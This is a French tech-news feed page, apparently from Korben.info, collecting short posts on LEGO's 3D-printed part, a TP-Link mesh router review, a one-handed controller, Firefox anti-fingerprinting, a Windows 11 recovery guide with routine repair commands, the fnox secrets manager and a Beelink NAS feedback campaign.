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Aujourd’hui — 11 décembre 2025Flux principal

LEGO vend enfin sa première pièce imprimée en 3D

Par : Korben
11 décembre 2025 à 11:27

Si vous pensiez que LEGO se contentait de mouler du plastique comme dans les années 50, vous vous gourez car la marque danoise vient de franchir un cap historique en commercialisant sa toute première pièce fabriquée par impression 3D dans un set grand public.

Et il leur a fallu neuf ans de R&D pour y arriver !

La pièce en question se trouve dans le set Holiday Express Train (10361) de la gamme LEGO Icons, disponible depuis octobre. C’est une mini locomotive bleue avec des roues qui tournent et une petite cheminée qui monte et qui descend quand le train avance. Bref, un petit élément décoratif en apparence, mais qui représente un sacré tournant pour l’entreprise.

Alors pourquoi neuf ans de développement pour une pièce de quelques centimètres ? (qui a dit cmb ?). Parce que LEGO ne rigole pas avec la qualité, les amis ! L’équipe de Billund a dû construire un système de fabrication additive (c’est comme ça qu’on appelle les imprimantes 3D qui ajoutent les couches les unes au dessus des autres) capable de produire des pièces en masse avec le niveau de finition attendu par les fans. Ils utilisent pour cela une technologie de fusion de poudre polymère d’EOS, plus précisément une plateforme P 500 avec résolution Fine Detail, qui utilise un laser CO₂ ultra-fin pour créer des détails impossibles à obtenir avec le moulage par injection classique.

Cela permet d’avoir des mécanismes internes, des assemblages tarabiscotés, bref des trucs qu’un moule traditionnel ne pourrait jamais faire. L’impression 3D ouvre donc des possibilités que LEGO n’avait jamais eues.

Ronen Hadar, le responsable de la fabrication additive chez LEGO, compare ce moment à l’achat de la première machine à injection par les fondateurs dans les années 40. Un changement de paradigme donc et ça va s’accélérer puisque LEGO a déjà doublé la vitesse de production de ses machines et l’objectif pour eux, c’est que ces pièces imprimées en 3D deviennent “ennuyeusement normales” dans leur catalogue, et pas des curiosités de niche pour les collectionneurs.

Voilà, pour l’instant c’est une seule petite pièce dans un set de train de Noël mais si LEGO tient ses promesses, on pourrait voir débarquer des éléments de plus en plus complexes dans les années à venir… Des briques avec des mécanismes intégrés, des formes organiques, et des trucs qu’on n’imagine même pas encore.

Source

À partir d’avant-hierFlux principal

Puce gravée en 5 nm : la Chine a réussi un nouvel exploit technologique, mais ça n’a pas été facile

2 décembre 2025 à 14:27

Cinq ans après les premières puces gravées en 5 nm (par TSMC et Samsung), le fondeur SMIC annonce être lui aussi capable de descendre à ce niveau de gravure. Un exploit politique et technologique, mais qui cache plusieurs concessions majeures.

Mon test des routeurs TP-Link Deco BE68

Par : Korben
1 décembre 2025 à 16:42
– Article en partenariat avec TP-Link –

Vous vous souvenez de mon test du Deco BE65-5G avec son modem 5G intégré ? Hé bien, TP-Link m’a envoyé un autre joujou à tester, et cette fois c’est le pack de trois Deco BE68 , aussi connu sous le nom BE14000. Et je vais être honnête avec vous, ce truc a résolu un problème que je traînais depuis des mois à savoir une petite zone morte dans ma salle à manger où le Wi-Fi ramait comme un escargot asthmatique.

Pour ceux qui découvrent la gamme Deco, c’est le système mesh de TP-Link qui permet de couvrir toute une baraque avec un seul réseau Wi-Fi. Vous posez plusieurs bornes dans la maison, elles communiquent entre elles, et vous avez du réseau partout sans avoir à jongler entre différents SSID. Le BE68, c’est donc la version Wi-Fi 7 tri-bande qui promet jusqu’à 14 Gbps de débit combiné. C’est complètement délirant sur le papier, et évidemment personne n’atteindra jamais ça dans la vraie vie, mais ça donne une idée de la puissance du bouzin.

Côté specs, on a 8 647 Mbps sur la bande 6 GHz, 4 324 Mbps sur le 5 GHz, et 688 Mbps sur le 2.4 GHz. Chaque borne est équipée d’un port 10 Gbps (oui, 10 Gbps sur chaque noeud, pas juste sur le principal), d’un port 2.5 Gbps, d’un port Gigabit et d’un USB 3.0. 10 Gbps sur chaque satellite, c’est d’ailleurs l’un des gros avantages de ce modèle.

L’installation, comme d’hab avec les Deco, c’est d’une simplicité enfantine. On lance l’app sur le smartphone, on scanne le QR code, on attend que ça se configure, et c’est fini. J’ai posé une borne dans mon local technique (branchée sur ma box fibre), une dans le salon, et une dans la salle à manger, le tout en moins de 15 minutes, sans avoir à toucher une ligne de configuration. Pour les bidouilleurs qui veulent accéder aux réglages via un navigateur web, par contre, c’est toujours mort puisque tout passe par l’app mobile, ce qui peut frustrer les barbus que nous sommes ❤️.

Mais parlons de ce qui m’intéressait vraiment avec ces routeurs, à savoir ma fameuse salle à manger maudite. C’est une pièce avec des murs épais, coincée entre deux autres pièces, et jusqu’ici aucun de mes routeurs n’arrivait à y envoyer un signal correct.

Avec le pack de trois BE68, le problème a disparu puisque j’ai maintenant du 400-500 Mbps stable dans cette pièce, sans déconnexion. La différence, c’est le Wi-Fi 7 et son MLO (Multi-Link Operation) qui permet à chaque appareil de se connecter simultanément sur plusieurs bandes.

D’ailleurs, le backhaul combiné filaire + sans fil, c’est vraiment le game changer de ce modèle puisque grâce à la techno maison de TP-Link, les Deco BE68 peuvent utiliser à la fois le câble Ethernet et le Wi-Fi pour communiquer entre eux simultanément. Du coup, même si vous ne câblez qu’une partie de vos satellites, le système optimise automatiquement les flux.

Le pack de trois couvre dans les 700-750 m² et peut gérer jusqu’à 200 appareils simultanément. Chez moi, avec la cinquantaine de bidules connectés (ampoules, caméras, smartphones, ordis, consoles, aspirateur robot, et j’en passe), ça ne bronche pas et le système AI-Driven Mesh gère intelligemment les transitions quand on se balade dans la maison. Comme ça, j’ai pas les micro-coupures quand je passe d’une pièce à l’autre avec mon ordi portable.

Et côté tarif, on est sur du 800-900 euros pour le pack de 3. C’est pas donné, c’est clair mais quand on compare aux autres systèmes mesh Wi-Fi 7 du marché, c’est plutôt compétitif. Et avec du 10 Gbps sur chaque nœud, vous êtes tranquille pour les dix prochaines années niveau évolutivité réseau.

Les fonctions de sécurité HomeShield sont bien sûr toujours là : antivirus intégré, contrôle parental, QoS pour prioriser le gaming ou le streaming, support VPN client (OpenVPN, WireGuard), et la possibilité de créer un réseau IoT séparé en WPA3. Du classique TP-Link, bien foutu et suffisant pour 90% des usages sans avoir à payer l’abonnement Pro.

Bref, après 2 semaines d’utilisation, je suis conquis puisque ces Deco BE68 font exactement ce qu’on leur demande . C’est à dire couvrir toute la baraque en Wi-Fi 7 sans se prendre la tête. Alors si comme moi, vous avez des zones mortes chez vous ou que votre système mesh actuel commence à montrer ses limites avec tous vos appareils connectés, c’est clairement un excellent choix. Par contre, si vous cherchez un modem 5G intégré comme sur le BE65-5G, c’est pas le bon modèle.

En tout cas, j’ai enfin du Wi-Fi qui marche bien dans ma salle à manger, et ça, ça n’a pas de prix (enfin si, environ 800 balles, mais vous m’avez compris) !

Zniko - Pour prendre du plaisir avec une seule main

Par : Korben
17 novembre 2025 à 10:30

Ce matin sur mon live Twitch , Zniko Boc a débarqué pour me montrer un truc qu’il a fabriqué ! Il s’agit d’une manette de jeu pour jouer avec… une seule main !

Car Zniko est aphasique depuis un accident vasculaire cérébral (AVC). Il a du mal à parler, à lire et à écrire et il n’a aucune sensation du côté droit. Du coup, pour continuer à jouer aux jeux vidéo, il a cherché des solutions. Il a testé toutes les manettes adaptatives du commerce, du Xbox Adaptive Controller de Microsoft à 90 euros. au Sony Access. Bref, tous les trucs qui existent sur le marché et aucun ne lui a convenu vraiment.

Pas mal de problèmes d’accessibilité aux touches, de la latence, un ergonomie pas folle… Et quand vous êtes dans cette situation et que vous dépensez 90 balles pour un truc qui ne résout pas votre problème, ça énerve !

Alors Zniko a fait ce que font les makers quand les solutions du commerce sont pourries : il a construit la sienne ! Il a modélisé sa propre manette, trouvé les composants nécessaires, et adapté un logiciel.

Et ça fonctionne !!

La manette de Zniko permet de jouer de la main gauche ou de la main droite sur PC, Xbox One, Nintendo Switch et PlayStation. Soit 4 plateformes différentes avec le même hardware. Elle peut se fixer sur un bureau ou un plateau. Ou alors vous la sanglez autour de votre cuisse, et vous jouez comme ça, OKLM.

Le mec a testé sa manette sur un paquet de jeux : Minecraft, Mario Kart 8 Deluxe, Super Mario Bros Wonder, Metroid Dread, Metroid Prime 1, Risk of Rain 2, Zelda Breath of the Wild, Super Mario Odyssey, Monster Hunter Rise…etc et ça marche du feu de dieu !

Après y’a quand même quelques limitations notamment pour les jeux de tir où vous devez viser librement, c’est plus compliqué. Risk of Rain 2 sans sélection automatique des ennemis, c’est la galère. Par contre, Metroid Prime 1 avec le lock-on, ça passe nickel. Et les triggers analogiques genre accélérateur progressif, la manette Zniko peut pas le faire soit c’est à fond, soit c’est rien. Mais pour la majorité des jeux, ça fonctionne très bien !

Le truc dingue, c’est comment il a monté ça car Zniko a mobilisé toute sa famille. Son père, ancien électricien, a fait les soudures sur la première version. Sa femme, sa fille et son fils l’ont aidé pour les vis et les trous parce que visser et percer avec une seule main fonctionnelle, c’est pas évident !

Et côté technique, Zniko a utilisé le logiciel open source GP-2040 . C’est un firmware qui transforme n’importe quel microcontrôleur en manette universelle.

Bref, c’est un super projet collaboratif finalement avec une famille soudée, et une communauté maker qui participe pour au final aider le plus grand nombre car Zniko vend maintenant sa manette sur Etsy. Vous pouvez donc l’acheter déjà assemblée, ou en kit avec les pièces détachées si vous voulez la monter vous-même. Main gauche ou main droite, au choix comme je vous le disais. Il propose aussi des tutoriels complets de montage pour ceux qui veulent se lancer !!

Le but de Zniko, c’est pas de devenir riche (Il a tord quand même ^^) mais c’est de rendre sa solution accessible à d’autres personnes dans son cas ! Et c’est pour ça que j’écris cet article aujourd’hui , c’est pour le soutenir et vous faire découvrir sa super manette parce qu’il y en a peut-être parmi vous qui en ont besoin. Voilà, son site c’est sites.google.com/view/zniko Et vous y trouverez toutes les infos.

Bref, je tire mon chapeau à Zniko et je souhaite un immense succès à sa magnifique manette.

Beelink NAS – Describe Your Perfect NAS (…and Win a Beelink ME Mini)

Par : Rob Andrews
12 novembre 2025 à 15:12

Share Your Thoughts on a Perfect NAS – Best Feedback Wins One of x200 Beelink ME Mini NAS’

Beelink has begun a new online campaign asking users to share what their ideal NAS should look like. The initiative follows the success of the company’s first consumer NAS, the Beelink ME Mini, a six-slot M.2 NVMe system equipped with Intel’s N150 processor, DDR5 memory, and dual 2.5GbE connectivity. Compact in size yet capable of handling multimedia, Plex, or lightweight virtualisation workloads, the ME Mini became a popular entry point into DIY NAS building through its competitive pricing and quiet operation. Having established a foothold in the NAS segment after years of producing small form-factor PCs, Beelink now appears to be shaping its long-term roadmap around user collaboration. This campaign, which focuses on community feedback, signals the company’s intention to refine the design language, cooling approach, and modular expandability of upcoming systems such as the ME Pro and ME Pro Max, both of which were recently discussed in early development previews during factory visits in Shenzhen. So, how do you provide your feedback on your ideal NAS, and how can you win a free Beelink ME Mini?

Disclaimer – This is NOT A SPONSORED POST! I am covering this because, after the brand allowed me to see their expanding NAS development, I took a personal interest in seeing their work towards building some fantastic solutions for home and business! You can also learn more about this in this video HERE.

How to Provide NAS Feedback and Be Entered into the Beelink ME Mini NAS Draw?

Anyone interested in contributing to Beelink’s NAS design discussion can take part through the company’s official social media posts on YouTube, Facebook, Instagram, Reddit, and X. Each platform follows a similar participation format. Users must first follow Beelink’s official account, like the relevant campaign post, and then leave a thoughtful comment outlining what they believe makes an ideal NAS. These responses can focus on functional aspects such as cooling systems, dust-management solutions, and maintenance access, or on design-related ideas like exterior layout, noise reduction, and modular upgradability.

FACEBOOK LINK

TWITTER / X LINK

On YouTube, users can comment directly under Beelink’s community post here. The Facebook campaign can be accessed here, and Instagram participants can submit their responses here. For Reddit, Beelink’s official thread is open for discussion here, while X (Twitter) users are asked to follow @Beelinkofficial, like, retweet, and reply with their input.

YOUTUBE SOCIAL POST LINK

INSTAGRAM POST LINK

All entries must be submitted by November 30th, 2025. Beelink will then review responses and announce the 200 winning contributors on December 3rd. Selected users will receive a free Beelink ME Pro NAS unit once it launches. This structure gives users equal opportunity across every major platform, ensuring feedback comes from a diverse mix of communities including existing ME Mini owners, NAS hobbyists, and small business users looking for scalable and efficient network storage hardware.

Why is Beelink Looking for Feedback on the Perfect NAS?

Beelink’s new initiative, titled “What Should Your Ideal NAS Look Like?”, runs from November 10th to November 30th, 2025, and invites users worldwide to share ideas for the next generation of Beelink NAS systems. The campaign is hosted across all major social media platforms, including Reddit, Facebook, Instagram, X (formerly Twitter), and YouTube. Participants are encouraged to comment directly on Beelink’s official posts, offering detailed suggestions on topics such as system size, cooling efficiency, dust-cleaning convenience, noise levels, maintenance accessibility, DIY flexibility, and aesthetic design. So, think about what influences your decision when buying a NAS device. Factors such as:
  • Power Consumption
  • CPU Power vs Efficiency
  • Scale and physical footprint
  • Storage Media Type
  • Network Connectivity
  • General IO of the Hardware
  • Turnkey vs Semi-DIY
  • AMD vs Intel
  • And of course….Price
To encourage meaningful engagement, Beelink will select up to 200 participants based on the quality and practicality of their submissions. Winners will each receive the upcoming Beelink ME Pro NAS, a follow-up model that extends the ME Mini’s design with increased storage capacity, an upgraded internal PSU, and improved thermal management. The company has also stated that outstanding comments and ideas will be featured publicly on December 3rd, highlighting the most valuable user contributions. In line with Beelink’s broader expansion into the NAS market, this campaign functions not only as a giveaway but also as an open consultation on what the next wave of compact, high-performance NAS hardware should prioritize in 2026 and beyond.

Why This Matters to the NAS Industry?

Beelink’s decision to crowdsource input for its upcoming NAS models reflects a wider shift in how smaller hardware manufacturers are shaping their design and development pipelines. Instead of relying solely on internal research or reseller feedback, Beelink is turning directly to the end users who actively deploy and experiment with NAS systems in home labs, media servers, and small business setups. This approach allows the company to collect detailed, practical insights on what real-world users value most, such as the balance between performance and noise, ease of access for upgrades, power efficiency, and thermal control. In context, this campaign follows Beelink’s rapid emergence as a new competitor in the DIY NAS space. The ME Mini gained traction in 2025 precisely because it delivered features that users had long requested from other compact NAS vendors—such as M.2-only storage layouts, 2.5GbE networking, and an affordable price point around the $200 mark. Now, by seeking public feedback, Beelink appears to be validating the direction of its upcoming models like the ME Pro, ME Pro X, and ME Pro Max, which are expected to feature higher networking speeds, larger capacity support, and improved cooling systems.

The company’s move also suggests it is actively testing which hardware configurations resonate most with a global user base that is increasingly focused on compact, high-throughput NAS systems rather than proprietary ecosystems. Gathering opinions on airflow, dust resistance, and modular design is likely to influence how future Beelink devices are built, potentially leading to products that better address the maintenance challenges of small enclosures and the demand for quieter yet more powerful systems. For a brand still new to network storage, this kind of direct engagement could accelerate its path toward becoming a recognised name in the wider NAS market.

Remember. Entering a comment in this article will not be picked up by Beelink (probably), so if you want to participate in this, head over to the relavent post via the links below:

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Firefox vous protège sérieusement contre le fingerprinting

Par : Korben
12 novembre 2025 à 09:56

Si comme moi, vous passez votre vie à refuser des cookies, popup après popup, bannière après bannière, et que vous cliquez sur “Tout refuser” en pensant naïvement protéger votre vie privée, sachez qu’une écrasante majorité d’entre vous ont ce qu’on appelle une empreinte de navigateur unique qui vous suit partout sans que vous le sachiez. Ça permet aussi de vous traquer et le pire, c’est que c’est parfaitement légal.

Heureusement, Firefox 145 vient de sortir avec des protections anti-fingerprinting qui divisent par trois le nombre d’utilisateurs traçables. On passe ainsi de 60% d’utilisateurs identifiables à 20%.

Alors le fingerprinting, c’est quoi ?

Hé bien c’est quand un site regarde votre config matérielle et logicielle pour créer une empreinte unique. Votre carte graphique, les polices de caractères installées, votre CPU qui a un nombre de cores bien précis, votre écran avec sa résolution, votre timezone, votre OS, votre version de navigateur…etc. Tout ça combiné crée alors une espèce de signature numérique qui vous identifie aussi bien qu’un cookie. Mieux, même.

Un cookie, vous pouvez le supprimer mais en ce qui concerne cette empreinte, bon courage. Faudrait changer de carte graphique, réinstaller votre OS, modifier votre résolution d’écran… Trop galère, donc l’empreinte reste.

Texas A&M a publié une étude récemment qui confirme ce qu’on craignait depuis longtemps. Les sites utilisent massivement ce fingerprinting pour tracker les gens, même ceux qui ont explicitement refusé le tracking grâce au RGPD. Car techniquement, ce ne sont pas des données personnelles mais simplement des données techniques au sujet de votre machine. Et tout

L’Electronic Frontier Foundation a aussi lancé une grand campagne de tests et 83,6% des navigateurs évalués avaient une empreinte unique. Donc on est quasiment tous identifiable parmi des millions d’utilisateurs. Heureusement, Firefox 145 s’attaque enfin au problème avec ce qu’ils appellent la Phase 2 des protections anti-fingerprinting.

Ces nouvelles défenses incluent plusieurs techniques intéressantes. Par exemple, le navigateur ment maintenant sur le nombre de cores de votre CPU. Il refuse aussi d’utiliser les fonts locales pour afficher du texte et n’utilise que les fonts standard de l’OS. Il ajoute également du bruit aléatoire quand un site essaie de lire une image canvas générée. Il masque aussi la résolution exacte de votre écran et limite virtuellement le nombre de touches simultanées supportées par votre écran tactile.

Ces protections sont disponibles dans deux modes. En navigation privée, elles sont activées automatiquement et si vous utilisez le mode Enhanced Tracking Protection en Strict, pareil. Pour l’instant, Mozilla les teste dans ces modes avant de les activer par défaut pour tout le monde mais si comme moi, vous utilisez déjà Firefox, passez en mode Strict. C’est 2 clics dans les paramètres.

Perso, j’utilise Firefox depuis des années et je comprends même pas comment les gens peuvent utiliser autre chose. Je dis ça pour troller un peu, mais y’a un fond de vérité car Chrome n’a aucune protection par défaut contre le fingerprinting par défaut.

Safari de son côté a une fonctionnalité Intelligent Tracking Prevention qui limite le cross-site tracking, mais ça reste très vulnérable au fingerprinting. Firefox est, avec Brave et Tor Browser, l’un des seuls navigateurs grand public qui se bat vraiment contre ça.

Surtout que les techniques de fingerprinting sont devenues ultra sophistiquées. Le canvas fingerprinting fait dessiner une image invisible par votre navigateur pour mesurer comment votre GPU la rend. Le WebGL va encore plus loin en livrant tout les détails de votre carte graphique et de vos drivers. Il y a aussi l’audio, avec un son inaudible que votre carte son traite différemment de celle du voisin. Comme je vous le disais, les fonts installées forment une signature unique. Le détails de vos webcams et micros connectés peuvent être listés et même votre façon de bouger la souris ou de scroller révèle qui vous êtes.

Et tout ça combiné crée une empreinte tellement précise qu’elle vous suit d’un site à l’autre, d’une session à l’autre, même en navigation privée…

Notez que Firefox 145 ajoute aussi d’autres trucs sympas. Vous pouvez maintenant annoter les PDF directement dans le navigateur avec une sidebar pour naviguer entre les commentaires. Il y a un hover preview sur les groupes d’onglets pour voir leur contenu sans cliquer. La gestion des mots de passe est accessible depuis la sidebar et vous pouvez copier un lien vers un highlight spécifique d’une page (les trucs que vous surlignez). Les traductions gèrent aussi mieux les langues avec des directions d’écriture différentes et l’extension Korben.info y fonctionne toujours parfaitement ^^ !!

Ah, et ils ont viré le support Linux 32-bit, donc si vous êtes encore sur du 32-bit, bah… upgradez ou restez sur Firefox 144.

Alors bien sûr, comme pour tout, les protections anti-fingerprinting de Firefox ne sont pas parfaites. Elles ne bloquent pas 100% du tracking mais elles réduisent drastiquement la surface d’attaque.

Donc à vous de voir si continuer à vous battre contre les popups de cookies pendant que Chrome autorise la terre entière à vous pister via votre config, est une bonne stratégie. Moi j’ai déjà choisi mon camp et il s’appelle Firefox !

Source

Notefox - Prenez des notes directement sur les sites que vous visitez

Par : Korben
3 novembre 2025 à 10:09

Vous êtes en train de lire un truc, vous avez une idée géniale comme d’habitude, et là vous vous dites que vous noterez ça plus tard… Sauf que si vous êtes comme moi, plus tard, c’est jamais. Snif !

Et bien Notefox règle exactement ce problème. Il s’agit d’une extension Firefox qui vous permet d’associer des notes directement sur les pages web / domaines que vous visitez. Un peu comme des post-it virtuels, mais en mieux fichus…

Avec Notefox, vous pouvez donc créer des notes à deux niveaux. Soit une note pour un domaine entier (genre tous vos meilleurs passages de Korben.info, le site préféré de votre informaticien préféré), soit une note pour une page précise (genre ce tuto que vous venez de lire sur mon site et sur lequel vous avez quelques petites réserves à ajouter). Et voilà !! Les notes se sauvegardent alors automatiquement, et quand vous revenez sur le site, hop, elles sont là !

L’extension propose de l’import / export, un système d’étiquettes de couleurs, de la mise en forme (gras, italique, liens… vous connaissez), de la recherche et vous avez bien sûr la possibilité de supprimer des trucs. Et tout est synchronisé entre vos machines. Vous pouvez aussi personnaliser les raccourcis clavier si vous aimez aller vite.

Mon point noir par contre, c’est que le thème par défaut est vraiment pas terrible. Mais avant de fuir, sachez que vous pouvez tout personnaliser dans les options de l’extension. Couleurs, apparence, police…etc y’a tout et après c’est nickel !

L’extension est développée par Saverio Morelli et le code est en open source sur GitHub si vous voulez jeter un œil sous le capot.

Après si vous cherchez des alternatives, il en existe quelques unes sur Firefox comme Notes by Firefox qui est l’extension officielle de Mozilla, mais elle est très minimaliste, et plus mise à jour depuis 2020.

Bref, si vous passez votre temps à perdre vos idées entre deux onglets, ça vaut le coup d’essayer !

Windows 11 - Comment activer la réparation automatique par le cloud

Par : Korben
29 octobre 2025 à 08:42

Bon, j’utilise plus vraiment Windows tous les jours, à part quand je veux faire des tests comme aujourd’hui mais je suis quand même encore traumatisé de ces moments horribles où mon PC refusait de démarrer, avec à l’époque, un écran bleu, qui s’enchaine sur une boucle de réparation automatique qui tourne en rond, et moi qui fait ma prière au Dieu de la Tech pour que ça reparte tout seul et que je ne flingue pas encore une journée de boulot.

Et bien Microsoft vient d’ajouter une fonctionnalité dans Windows 11 qui pourrait vous sauver la mise si vous avez la même phobie que moi. Ça s’appelle Quick Machine Recovery , et c’est un système de réparation automatique qui télécharge des correctifs directement depuis les serveurs de Microsoft.

Ainsi, quand votre Windows 11 refuse de booter, après plusieurs tentatives le système va automatiquement se connecter à Internet, envoyer des diagnostics à Microsoft, et télécharger un correctif spécifique pour votre problème. Tout ça sans que vous ayez à sortir une clé USB de récupération ou à appeler le support technique.

Quick Machine Recovery (qu’on va appeler QMR pour aller plus vite) fonctionne différemment selon votre édition de Windows. Sur Windows 11 Home, c’est activé par défaut alors que sur Windows 11 Pro et Enterprise, c’est désactivé par défaut et il faut donc le configurer manuellement.

Et il y a deux modes distincts dans l’outil. Le premier, c’est la réparation par le cloud (Cloud Remediation), c’est-à-dire que Windows va chercher des correctifs sur les serveurs Windows Update. Et le second, c’est la réparation automatique (Auto Remediation), c’est-à-dire que le système va tenter de se réparer tout seul plusieurs fois de suite sans vous demander votre avis.

Vous de votre côté, vous avez juste besoin de :

  • Windows 11 version 24H2 ou supérieure
  • Une connexion Internet (évidemment, sinon pas de cloud ^^)
  • Un compte administrateur pour modifier les paramètres

Ça prend 2 minutes pour s’activer, et entre 5 à 10 minutes en cas de réparation réelle.

Bref, quand votre PC plante au démarrage, voici ce qui se passe en coulisses. Après plusieurs échecs de boot, Windows entre automatiquement dans l’environnement de récupération WinRE (Windows Recovery Environment), c’est-à-dire ce mode minimal de dépannage qui se lance avant le système Windows complet. Le système établit alors une connexion réseau, envoie les données de diagnostic à Microsoft (type d’erreur, fichiers concernés, configuration matérielle), et recherche une solution spécifique sur les serveurs.

Si Microsoft connaît déjà ce problème et dispose d’un correctif, le fix est téléchargé et appliqué automatiquement et le PC redémarre pépouze. Mais si ça ne marche pas du premier coup, le processus se répète jusqu’à la résolution ou jusqu’à ce que le système abandonne et vous propose les options de récupération manuelles classiques.

Le cas d’usage parfait, si je devais en trouver un c’est l’incident CrowdStrike de juillet 2024. Je ne sais pas si vous vous souvenez, mais une mise à jour défectueuse avait planté plus de 8 millions de PC Windows dans le monde. Les machines refusaient de booter et à l’époque si QMR avait existé, tous ces systèmes bloqués pendant 5 jours ou plus auraient été réparés en quelques minutes au lieu de nécessiter une intervention manuelle sur chaque machine.

Maintenant comment est ce qu’on active ça ?

Hé bien, ouvrez les Paramètres Windows avec la combinaison de touches Windows + I puis allez dans Système puis Récupération. Vous allez voir une section “Récupération machine rapide”.

Cliquez alors sur le bouton à côté de “Récupération machine rapide” pour l’activer. Le petit bouton passe au bleu, c’est bon, vous êtes un champion des nouvelles technologies \o.

Et voilà, c’est tout.

Sur ce coup-là, Microsoft a fait simple.

Maintenant si vous ne voyez pas cette option, c’est pas la peine de m’envoyer un email énervé. Vérifiez plutôt que vous êtes bien sur Windows 11 24H2 à minima. Tapez winver dans le menu Démarrer (ou appuyez sur Windows + R, tapez winver et validez) pour voir votre version exacte. Vous devriez voir “Version 24H2” ou supérieure.

Après par défaut, même avec la réparation par le cloud activée, Windows va vous demander une confirmation avant de tenter une réparation donc si vous voulez que le système se débrouille tout seul, vous pouvez aussi activer la réparation automatique.

Toujours dans Système > Récupération > Quick Machine Recovery, activez alors le bouton “Continuez la recherche si aucune solution n’est trouvée”.

Mais attention, une fois que cette option est activée, votre PC va tenter de se réparer seul sans vous consulter. C’est pratique si vous gérez plusieurs machines à distance notamment, mais ça peut être relou si vous ne vous y attendez pas. Le PC va redémarrer plusieurs fois de suite pendant qu’il cherche une solution.

Donc si vous hésitez, laissez cette option désactivée. La réparation seulement via le cloud suffit dans la plupart des cas.

Après QMR ne répare pas TOUS les problèmes du monde non plus… Si votre disque dur est HS, aucun correctif cloud ne va le ressusciter. Si votre RAM est défectueuse, c’est pareil. Et si votre femme et votre chien vous ont quitté, c’est pas non plus de son ressort. En fait, QMR cible uniquement les pannes logicielles : pilotes corrompus, fichiers système endommagés, conflits de mise à jour, registre cassé…etc

Gardez aussi en tête que QMR envoie des données de diagnostic à Microsoft donc si vous êtes dans un environnement où la confidentialité est critique (entreprise avec données sensibles, environnement réglementé…etc), vérifiez que votre politique de sécurité autorise ce genre de télémétrie avant d’activer la fonctionnalité.

Après si vous avez activé QMR et que votre PC continue de planter au boot malgré plusieurs tentatives de réparation, laissez le système essayer 3/4 fois et si après ça le problème persiste, Windows va normalement vous proposer les options avancées (Mode sans échec, Restauration système, Invite de commandes, c’est-à-dire la ligne de commande Windows).

Essayez alors le Mode sans échec, c’est-à-dire un mode de démarrage minimal qui charge uniquement les pilotes essentiels et si le système boote en mode sans échec, le problème vient probablement d’un pilote ou d’un logiciel installé récemment. Désinstallez alors toutes les dernières mises à jour ou pilotes ajoutés récemment.

Et si même le mode sans échec ne fonctionne pas, utilisez une clé USB de récupération Windows 11. Bootez dessus, allez dans Réparer l’ordinateur > Dépannage > Options avancées, et utilisez les outils en ligne de commande comme :

sfc /scannow (System File Checker, c’est-à-dire l’outil de vérification des fichiers système) pour réparer les fichiers système,

DISM /Online /Cleanup-Image /RestoreHealth (Deployment Image Servicing and Management, c’est-à-dire l’outil de maintenance de l’image Windows) pour réparer l’image Windows,

et chkdsk C: /f /r pour vérifier et réparer le disque.

Pour les admin sys qui gèrent un parc de machines, QMR peut également se configurer via Intune, c’est-à-dire l’outil de gestion Microsoft 365, ou les stratégies de groupe (Group Policy). La documentation Microsoft donne tous les détails pour un déploiement centralisé :

  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\CloudRemediationEnabled (valeur DWORD, c’est-à-dire un nombre entier 32 bits) = 1 pour activer la réparation cloud
  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRemediationEnabled (valeur DWORD) = 1 pour activer la réparation automatique

Attention, ces clés doivent être créées manuellement dans le registre si elles n’existent pas. Ensuite, vous devrez effectuer le petit redémarrage réglementaire après modification. Et faites bien une sauvegarde du registre avant toute modification (Fichier > Exporter dans regedit).

Voilà pour mon topo sur QMR. Sur le papier je trouve que c’est une excellente idée… Ça augmente bien le taux de réussite de récupération d’un PC et surtout, ça fait gagner du temps. Après en pratique, comme d’hab ça dépend de votre situation. En tout cas, ça ne mange pas de pain donc activez la.

Et quoi qu’il arrive, faites des sauvegardes régulières !

Bonne chance !

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Fnox - Le Fort Knox de vos secrets de dev

Par : Korben
29 octobre 2025 à 07:41

Vous connaissez Jeff Dickey ?

C’est le développeur derrière mise , un outil qui permet aux développeurs de gèrer leurs versions d’outils de dev et leurs variables d’environnement.

Et bien cette année, il a sorti fnox , un gestionnaire de secrets.

Si vous êtes développeur, vous savez que les secrets, c’est-à-dire les identifiants, les mots de passe, etc. sont soit stockés en chiffré directement sur le dépôt Git, soit à distance via un cloud provider comme AWS Secrets Manager.

Mais c’est pas très marrant à configurer et à utiliser et c’est pour ça donc que Fnox a été inventé. Fnox utilise un simple fichier de configuration TOML que vous placez dans votre dépôt Git et à l’intérieur duquel les secrets sont soit directement chiffrés soit pointent vers des références distantes sur des services comme : AWS, Azure, GCP, HashiCorp Vault et j’en passe… ou encore des gestionnaires de mots de passe comme 1Password et Bitwarden.

Il y a même possibilité de mettre tout ça en ocal dans le gestionnaire de clés de votre OS ou dans un fichier texte.

L’avantage de cette solution, en plus de sa flexibilité, c’est qu’elle peut être utilisée dans des environnements multiples, que ce soit pour du dev, du staging, de la prod. Et comme tout est stocké sur le Git, les équipes de dev peuvent récupérer le fichier et le déchiffrer de leur côté.

Voici comment ça se met en place :

# Installer via mise (recommandé)
mise use -g fnox

# Initialiser dans votre projet
fnox init

# Définir un secret (chiffré par défaut)
fnox set DATABASE_URL "postgresql://localhost/mydb"

# Récupérer un secret
fnox get DATABASE_URL

# Exécuter des commandes avec les secrets chargés
fnox exec -- npm start

# Activer l'intégration shell (chargement automatique lors du cd)
eval "$(fnox activate bash)" # ou zsh, fish

Comme vous pouvez le voir dans l’exemple ci-dessous, il y a une intégration Shell qui permet de charger automatiquement les secrets dès qu’on change de répertoire.

Le projet est open source, licence MIT, et vous trouverez le code sur GitHub. Si vous utilisez déjà mise, l’intégration est transparente et si vous ne l’utilisez pas, fnox fonctionne très bien tout seul (ça s’installe aussi avec Cargo : cargo install fnox ).

Avant la mise en place, je vous recommande quand même d’aller lire le guide de démarrage rapide sur leur site, puisque ça explique aussi comment mettre en place un chiffrement un peu plus costaud avec Age , ce qui est indispensable dans un environnement de prod ! Et y’a un super exemple de mise en place IRL si vous voulez voir quelque chose de plus concret.

Amusez-vous bien !

Quantum Echoes - Fini le bullshit, l'informatique quantique devient enfin vérifiable !

Par : Korben
23 octobre 2025 à 11:48

Pendant 30 ans, les experts en informatique quantique vous demandaient de les croire sur parole du genre “Mon ordi quantique est 13 000 fois plus rapides que ton PC Windows XP…”. Mais bon, ils sont rigolo car c’était impossible à vérifier ce genre de conneries… M’enfin ça c’était jusqu’à présent car Google vient d’annoncer Quantum Echoes , et on va enfin savoir grâce à ce truc, ce que l’informatique quantique a vraiment dans le ventre.

